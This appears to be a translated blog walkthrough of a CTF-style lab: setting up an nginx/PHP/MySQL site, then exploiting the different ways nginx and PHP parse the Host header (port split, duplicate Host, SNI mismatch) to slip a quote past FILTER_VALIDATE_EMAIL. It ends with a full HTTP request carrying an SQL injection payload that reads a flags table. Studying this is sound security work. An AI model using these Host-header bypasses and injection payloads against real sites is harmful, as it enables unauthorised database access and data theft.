Using the different processing methods of Nginx and PHP to bypass Nginx_host to achieve SQL injection

Table of contents

First you need to set up the environment

nginx+php+mysql environment:

Build a website

FILTER_VALIDATE_EMAIL bypass

Method 1: Separate the host field with a colon

Method 2: Separate the host field with a colon

Method 3: SNI extension bypass


First you need to set up the environment

nginx+php+mysql environment:

php cheap packaging: https://www.php.net/distributions/php-8.2.13.tar.gz

You can also install it directly using yum:

 yum install php

After the installation is complete, we can create a new php file under www/html/ to see if it can be parsed normally.

cat index.php 
<?php phpinfo(); php?>

 

If you see a page like this, it means that our PHP installation has been successful.

The specific installation of ngixn and mysql can be found here:

Nginx environment setup

Essentials for getting started with MySQL: Detailed explanation of four ways to deploy a MySQL environment in Linux

Build a website

(1) Download the source code package

Here I share with you:

Link: https://pan.baidu.com/s/1267CI6AmiHOBB1TU_4qhMQ?pwd=8848 
Extraction code: 8848

(2) Unzip the source code package

(3) Move the source code package to the /usr/local/nginx/html/ directory for easy viewing. I renamed it to mhz

(4) Modify the config.php file in /usr/local/nginx/html/mhz/protected

(5) Create a folder named web under /mhz to store web pages

mkdir web

(6) Authorize mhz files

chmod -R 777 mhz/

(7) Configure virtual host

[root@192~ protected]# vim /etc/nginx/nginx.conf
# 2023.mhz.pw
server {
    listen 80;     
    server_name 2023.mhz.pw;  
    root html/pwnhub/web;
    index index.html index.php;
    location / {
        try_files $uri $uri/ /index.php;
        }
 
    location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
}

(8) Set up local (centos) DNS

vim /etc/hosts
127.0.0.1   2023.mhz.pw

(9) Restart nginx service

(10) In order to test on windows, write the corresponding relationship in the hosts of the window.

192.168.159.200 2023.mhz.pw

(11) Configure the database

First, enter mysql in centos and create a database named security.

create database security;

(12) Then use the database

use security;

Create database and tables

create databases security;
use security;
SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;
 
DROP TABLE IF EXISTS `flags`;
CREATE TABLE `flags` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `flag` varchar(256) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4;
 
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `username` varchar(256) NOT NULL,
  `password` varchar(32) NOT NULL,
  `email` varchar(256) DEFAULT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=15 DEFAULT CHARSET=utf8mb4;
 
SET FOREIGN_KEY_CHECKS = 1;

We can insert a flag into the flag in the database, which will be used later when injecting

insert into flags (flag) value('I_Love_security');

(12) Then we can try to access 2023.mhz.pw in the browser

As shown in the picture, successful access! ! !

(13) Now register an account first

Visit pagehttp://2023.mhz.pw/main/register

The construction of the website is now complete.

FILTER_VALIDATE_EMAIL bypass

Let’s take a look at the source code of this web page first

Source code of login page:

 function actionLogin(){
 		//判断传参方式是否为表单的post方法
        if ($_POST) {
        	//数据交给arg()来处理,我们需要去查看arg函数
            $username = arg('username');
            $password = md5(arg('password', ''));
			
            if (empty($username) || empty($password)) {
                $this->error('Username or password is empty.');
            }
			
            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` 
                                       WHERE `username` = '{$username}' AND `password` = '{$password}'");
            if (empty($data) or $data[0]['password'] !== $password) {
                $this->error('Username or password is error.');
            }

            $_SESSION['user_id'] = $data[0]['id'];
            $this->jump('/');
        }

    }

#以下为core里面的内容
function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
}

function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {
        $arg = $default;
    }
    if($trim) {
        $arg = trim($arg);
    }
	return $arg;
}

As can be seen from the above code snippet: the arg function uses request to receive, because REQUEST is filtered by the global filter function escape to filter the single quotes. Therefore username and password cannot be used. Cannot use it as an injection point for passing in single quotes 

Then look at the source code of the registration page:

function actionRegister(){
	    if ($_POST) {
	        $username = arg('username');
	        $password = arg('password');

	        if (empty($username) || empty($password)) {
	            $this->error('Username or password is empty.');
            }

            $email = arg('email');
            //利用host字段,拼接用户的邮箱
            if (empty($email)) {
                $email = $username . '@' . arg('HTTP_HOST');
            }
			//用户邮箱的合法性验证 --- 利用了FILTER_VALIDATE_EMAIL函数
            if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
                $this->error('Email error.');
            }

            $user = new User();
            $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
            if ($data) {
                $this->error('This username is exists.');
            }

			
            $ret = $user->create([
                'username' => $username,
                'password' => md5($password),
                'email' => $email
            ]);
            
            if ($ret) {
                $_SESSION['user_id'] = $user->lastInsertId();
            } else {
                $this->error('Unknown error.');
            }
        }

	}

 The registration method here is created using create, and then HTTP_HOST is obtained through the Server. The Server does not do any filtering operations. Then this FILTER_VALIDATE_EMAIL is used to filter email. It uses the value as email for verification, and when the email address is When empty, it will use username+@HTTP_HOST as the email address

FILTER_VALIDATE_EMAIL: That is, detect the string in the format of the mailbox

RFC 3696 stipulates that email addresses are divided into two parts: local part and domain part.

The local part contains special characters and needs to be processed as follows:

  1. Escape special characters with\, such asJoe\'[email protected]

  2. Or wrap the local part in double quotes, such as"Joe'Blow"@example.com

  3. The length of local part should not exceed 64 characters

Although PHP is not fully tested in accordance with RFC 3696, it supports the second writing method above. Therefore, we can use it to bypass the detection of FILTER_VALIDATE_EMAIL.

We can use the following method to try the incoming email format to see if the verification can pass:

<?php
$email = xxx@xxx'.com;
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

After trying to access: 

You can see that this does not bypass email restrictions.

Because the mailbox in the code is composed of username, @, and Host, but the username is escaped, so single quotes can only be placed in Host.

We can pass in the user name ", the Host aaa'"@example.com, and the final spliced ​​email address is "@aaa'"@example.com.

We can modify the above email address to this form to make it legal:

<?php
$email = "xxx@xxx'.com";//这里的xxx就写用户名和网站
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

 You can modify the web.php file to

<?php
echo $_SERVER['HTTP_HOST'];

to find the value of HTTP_HOST

You can see our domain name printed here

Then we try to use packet capture to capture the data packet of the registration page, and try to use the above method to construct such a Host. 

The returned page is 404 notfound. This is because nginx does not know which module should be handed over for parsing, so it is handed over to the default module for processing. And under the default path, have we deployed this page, so it appears. A 404 return page.

There are three ways to bypass this:

Method 1: Separate the host field with a colon

When Nginx processes the Host, it will split the Host into hostname and port with colons, and the port part will be discarded.

So, we can set the value of Host to 2023.mhz.pw:xxx'"@example.com, so that we can access the target Server block

When nginx processes it, it will discard the following: `2023.mhz.pw

Receive all when receiving in php:2023.mhz.pw:xxx'"@example.com

​​​​​​Method 2: Double-write host bypass

When we pass in two Host headers, Nginx will take the first one and PHP-FPM will take the second one.

That is, if I pass in:

Host: 2023.mhz.pw
Host: xxx'"@example.com

Nginx will consider the Host as2023.mhz.pw and hand it over to the target Server block for processing;

But the value obtained by using $_SERVER['HTTP_HOST'] in PHP is xxx'"@example.com.

Note: This method cannot be used in higher versions, but it can be used in lower versions.

Method 3:SNI extension bypass

Introduction to SNI

The early SSLv2 was designed based on the classic public key infrastructure PKI (Public Key Infrastructure). By default, it believed that a server (or an IP) would only provide one service, so during the SSL handshake, the server could be sure that the client requested Which certificate is it.

But what people never expected is that virtual hosts have developed vigorously, which has resulted in a situation where one IP corresponds to multiple domain names. There are some solutions, such as applying for a pan-domain name certificate, which can certify all domain names of *.yourdomain.com, but if you also have a domain name of yourdomain.net, that won't work.

In the HTTP protocol, the requested domain name is placed in the HTTP Header as the host header (Host), so the server knows which domain name should be directed to the request, but early SSL could not do this because during the SSL handshake process, There is no Host information at all, so the server usually returns the first available certificate in the configuration. Therefore, in some older environments, multiple domain names may have certificates configured separately, but the same one will always be returned.

Since the cause of the problem is the lack of host header information duringSSL handshake, then just make up for it.

SNI (Server Name Indication) is defined in RFC 4366. It is a technology used to improve SSL/TLS and is enabled in SSLv3/TLSv1. It allows the client to submit the requested Host information when initiating an SSL handshake request (specifically, the ClientHello phase in the SSL request issued by the client), so that the server can switch to the correct one. domain and returns the corresponding certificate.

To use SNI, both the client and the server need to meet the conditions. Fortunately, most modern browsers support SSLv3/TLSv1, so you can enjoy the convenience brought by SNI.

The principle of method 3 is that when we send https data packets, the domain name specified in SNI is example2.com, which does not need to be consistent with the Host header in the HTTP message. nginx will select the domain name in SNI as the Server Name.

PHP receives the host header

Nginx receives the SNI domain name

The above three methods all cause mysql to report errors.

Mysql injection

Now that the SQL error has been triggered, it means that SQL injection is imminent. By reading the SQL structure contained in the source code, we know that the flag is in the flags table, so without any nonsense, we directly inject and read the table.

Insert display bit

Because after the user successfully logs in, the user's email address will be displayed, so we can insert the data into this location. Send the following packet:

POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
insert into users ...
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------356678531
Content-Length: 176
----------356678531
Content-Disposition: form-data; name="username"
"a
----------356678531
Content-Disposition: form-data; name="password"
aaa
----------356678531--

It can be seen that I closed the INSERT statement, inserted a new usert123, and read the flag into the email field.

Log in to the user and get the flag directly.

Guess you like

Origin blog.csdn.net/qq_68163788/article/details/134595825